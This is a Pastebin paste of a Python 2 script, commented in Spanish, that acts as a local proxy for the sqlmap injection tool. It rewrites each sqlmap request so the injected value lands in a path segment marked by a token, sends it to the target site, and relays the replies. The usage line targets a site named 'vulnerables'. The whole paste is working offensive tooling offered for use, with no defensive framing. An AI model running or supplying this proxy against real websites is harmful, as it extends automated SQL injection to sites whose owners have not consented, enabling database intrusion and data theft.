Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # -*- encoding: utf-8 -*-
- #####################################################################################
- ## python proxySqlmap.py 4345 .php?injectando= http://www.vulnerables.com.ar/carpeta1/identificador1/identificador2{fuck}/archivo.rar
- ######################################################################################
- import socket
- import sys
- import time
- puerto = 0
- param = ""
- token = "{fuck}"
- lista = []
- #funcion que cambia la injeccion.
- def swapping( http_header ):
- pet = "GET "
- tmp = ""
- tmp = http_header.split("\r\n")[0]
- print "++++++++++++ SWAPPING *****************"
- print tmp
- tmp = tmp.split(param)[1]
- tmp = tmp.split(" HTTP/")
- pet += lista[2].split(token)[0]
- pet += tmp[0]
- pet += lista[2].split(token)[1]
- pet += " HTTP/"+tmp[1]
- tmp = http_header.replace( http_header.split("\r\n")[0] , pet)
- return tmp.replace( "Host: 127.0.0.1:"+str(puerto)+"\r\n" , "Host: "+lista[1]+"\r\n")
- #validamos la cantidad de parametros.
- if len(sys.argv) != 4:
- print "Error, Faltan Argumentos .."
- print "python repetidor.py <puerto> <param> <url> \n"
- exit(0)
- #validamos que los datos sean del tipo correspondiente.
- try:
- puerto = int(sys.argv[1])
- param = str(sys.argv[2])
- except:
- print "Error al parsear los parametros !!"
- exit(0)
- #validamos el token.
- if not(token in str(sys.argv[3])):
- print "Fanta el token en la url '"+token+"'"
- exit(0)
- #destripamos la URL y metemos en la lista los datos.
- tmp = str(sys.argv[3]).split("/")
- if not(tmp[0] in ("http:","https:")):
- print "Error, debe ingresar el protocolo http o https !!"
- exit(0)
- #Guardamos el puerto de conexion y el host a conectar.
- #lista[0] => puerto
- #lista[1] => host
- #lista[2] => data
- lista.append((str(80),str(443))["https" in tmp[0]])
- lista.append(tmp[2])
- data = ""
- for dt in range(3,len(tmp)):
- data += "/"+tmp[dt]
- print "---- "+data+" ----"
- lista.append(data)
- #nos conectamos al servidor.
- serv_test = socket.socket()
- cont = 0
- while cont < 4:
- try:
- serv_test.connect((str(lista[1]),int(lista[0])))
- except:
- print "Error al conectar al servidor."+"("+str(cont)+")"
- cont += 1
- time.sleep(3)
- continue
- break
- if cont == 3:
- print "No pudo realizar la conexion al Host!!."
- exit(0)
- print "Conectados... Inicie la conexion con sqlmap. "
- print str(lista)
- #una vez conectados, nos ponemos a la escucha para realizar la conexion con sqlmap.
- server = socket.socket()
- server.bind(("localhost",int(sys.argv[1])))
- server.listen(20);
- cliente = server.accept()
- while True:
- buff_cliente = ""
- buff_server = ""
- buff = ""
- buff_cliente = str(cliente[0].recv(9024)) #recibo la data de sqlmap.
- if buff_cliente != "":
- print "+++++++++++ [CLIENTE] +++++++++++++"
- print buff_cliente
- scc = swapping(buff_cliente)
- print "+++++++++++ [ENVIAR] +++++++++++++"
- print scc
- serv_test.send(scc) #proceso la data y la envio al servidor correspondiente.
- buff = serv_test.recv(9024) #recibo la respuesta del servidor.
- while len(buff) > 0:
- buff_server += buff
- buff = serv_test.recv(9024)
- print "reciviendo : " + buff
- print "+++++++++++ [SERVIDOR] +++++++++++++"
- print buff_server
- print len(buff_server)
- cliente[0].send(buff_server) #envio la data a sqlmap.
- print "////////////////// DATA ENVIADA ///////////////////"
- try:
- cliente = server.accept()
- serv_test.close()
- serv_test = socket.socket()
- serv_test.connect((str(lista[1]),int(lista[0])))
- except:
- print "Error , intente denuevo mas tarde !!"
- time.sleep(2)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement